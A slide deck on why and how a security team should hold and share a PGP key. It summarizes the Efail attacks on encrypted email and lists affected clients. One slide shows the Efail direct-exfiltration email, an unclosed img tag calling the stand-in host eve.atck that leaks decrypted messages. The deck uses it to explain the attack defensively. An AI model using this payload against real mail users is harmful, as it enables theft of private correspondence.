Agenda

Why do we need a PGP key?

Recent vulnerabilities

Sharing the key with the Team

Summary

Q & A
Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels (draft 0.9.1)

Damian Poddebiak¹, Christian Dresen¹, Jens Müller², Fabian Ising¹, Sebastian Schinzel¹, Simon Friedberger³, Juraj Somorovsky², and Jörg Schwenk²

¹Münster University of Applied Sciences
²Ruhr University Bochum
³NXP Semiconductors, Belgium

Source: [2]
Why do we need a PGP key?
Email security

Created by raymond chan @ 2014

Source: [email_flow_src]
Is your email provider trustworthy?
End-to-End email encryption

OpenPGP

S/MIME

Source: [2]
Recent vulnerabilities
S/MIME attack using CBC gadget
Which email clients are vulnerable?

<table>
<thead>
<tr>
<th>OS</th>
<th>Client</th>
<th>S/MIME</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows</td>
<td>Outlook 2007</td>
<td>✔️</td>
</tr>
<tr>
<td></td>
<td>Outlook 2010</td>
<td>✔️</td>
</tr>
<tr>
<td></td>
<td>Outlook 2013</td>
<td>✗</td>
</tr>
<tr>
<td></td>
<td>Outlook 2016</td>
<td>✗</td>
</tr>
<tr>
<td></td>
<td>Win. 10 Mail</td>
<td>✔️</td>
</tr>
<tr>
<td></td>
<td>Win. Live Mail</td>
<td>✗</td>
</tr>
<tr>
<td></td>
<td>The Bat!</td>
<td>✗</td>
</tr>
<tr>
<td></td>
<td>Postbox</td>
<td>✔️</td>
</tr>
<tr>
<td></td>
<td>eM Client</td>
<td>✔️</td>
</tr>
<tr>
<td></td>
<td>IBM Notes</td>
<td>✔️</td>
</tr>
<tr>
<td>Linux</td>
<td>Thunderbird</td>
<td>✔️</td>
</tr>
<tr>
<td></td>
<td>Evolution</td>
<td>✔️</td>
</tr>
<tr>
<td></td>
<td>Trojitá</td>
<td>✔️</td>
</tr>
<tr>
<td></td>
<td>KMail</td>
<td>✗</td>
</tr>
<tr>
<td></td>
<td>Claws</td>
<td>✔️</td>
</tr>
<tr>
<td></td>
<td>Mutt</td>
<td>✔️</td>
</tr>
</tbody>
</table>

Source: [2]

macOS
- Apple Mail
- MailMate
- Airmail

iOS
- Mail App
- Canary Mail

Android
- K-9 Mail
- R2Mail2
- MailDroid
- Nine

Webmail
- United Internet
- Mailbox.org
- ProtonMail
- Mailfence
- GMail

Webapp
- Roundcube
- Horde IMP
- AfterLogic
- Rainloop
- Mailpile

Source: [2]
OpenPGP attack - breaking MDC protection

1. MDC stripped:
   - SEIP m \(\rightarrow\) sha1(m)

2. MDC incorrect:
   - SEIP m' \(\rightarrow\) sha1(m)

3. SEIP \(\rightarrow\) SE downgrade
   - SEIP m \(\rightarrow\) sha1(m)

Source: [3]

<table>
<thead>
<tr>
<th>Client</th>
<th>Plugin (up to version)</th>
<th>MDC Stripped</th>
<th>MDC Incorrect</th>
<th>SEIP -&gt; SE</th>
</tr>
</thead>
<tbody>
<tr>
<td>Outlook 2007</td>
<td>GPG4WIN 3.0.0</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Outlook 2010</td>
<td>GPG4WIN</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Outlook 2013</td>
<td>GPG4WIN</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Outlook 2016</td>
<td>GPG4WIN</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Thunderbird</td>
<td>Enigmail 1.9.9</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Apple Mail (OSX)</td>
<td>GPGTools 2018.01</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Source: [3]
## Direct exfiltration

<table>
<thead>
<tr>
<th>Eve’s attack E-Mail</th>
</tr>
</thead>
<tbody>
<tr>
<td>From: Eve</td>
</tr>
<tr>
<td>To: Bob</td>
</tr>
<tr>
<td>Content-Type: text/html</td>
</tr>
<tr>
<td>&lt;img src=&quot;<a href="http://eve.atck/">http://eve.atck/</a>&quot;</td>
</tr>
<tr>
<td>-----BEGIN PGP MESSAGE-----</td>
</tr>
<tr>
<td>hQIMA1n/0nhVYSIBARAAlIsX1QsH</td>
</tr>
<tr>
<td>Z0bL2LopVexVVZ1uvk3wieArHug...</td>
</tr>
<tr>
<td>-----END PGP MESSAGE-----</td>
</tr>
<tr>
<td>Content-Type: text/html</td>
</tr>
<tr>
<td>&gt;</td>
</tr>
</tbody>
</table>

Source: [3]
Reply-to: attacker
My recommendation

- Don’t integrate mail client with gpg
- Use gpg only from cmd-line
- Use plain-text emails
Sharing the key with the Team
Security Team Use Case

- Official contact to security team
- Mostly for reporting vulnerabilities
- Messages should be kept secret during embargo period
Other security teams have the same problem

- Many security teams can be reached using PGP-encrypted mail
- For many years known
- They must have the same problem
- So I just asked them how they do this
Simply sharing the key

**PROS**

- Very simple
- Works out-of-the-box

**CONS**

- Everyone share the master key
- Need to revoke a key when someone leaves
Sharing the subkey

**PROS**
- Quite simple
- Works out-of-the-box
- Master key not shared

**CONS**
- Everyone share encryption key
- Need to revoke a subkey when someone leaves
Reencryption service

**PROS**
- No need to share a key
- Access based on membership

**CONS**
- Complicated setup
- Key on a public server
- SPAM propagation
Central service

**PROS**
- No need to share a key
- ACL-based access

**CONS**
- Complicated setup
- Key on a public server
- Probably require some development
My recommendation

- Establish trust chain between security team
- Generate a PGP key
- Generate revocation certificate
- Handle the certificate to TSC or LF
- Generate encryption subkey
- Share the encryption subkey with security team
- Pass the master key to the chosen key custodian
Summary
Q & A
Thank you!

Krzysztof Opasiak
Samsung R&D Institute Poland

+48 605 125 174
k.opasiak@samsung.com
References I

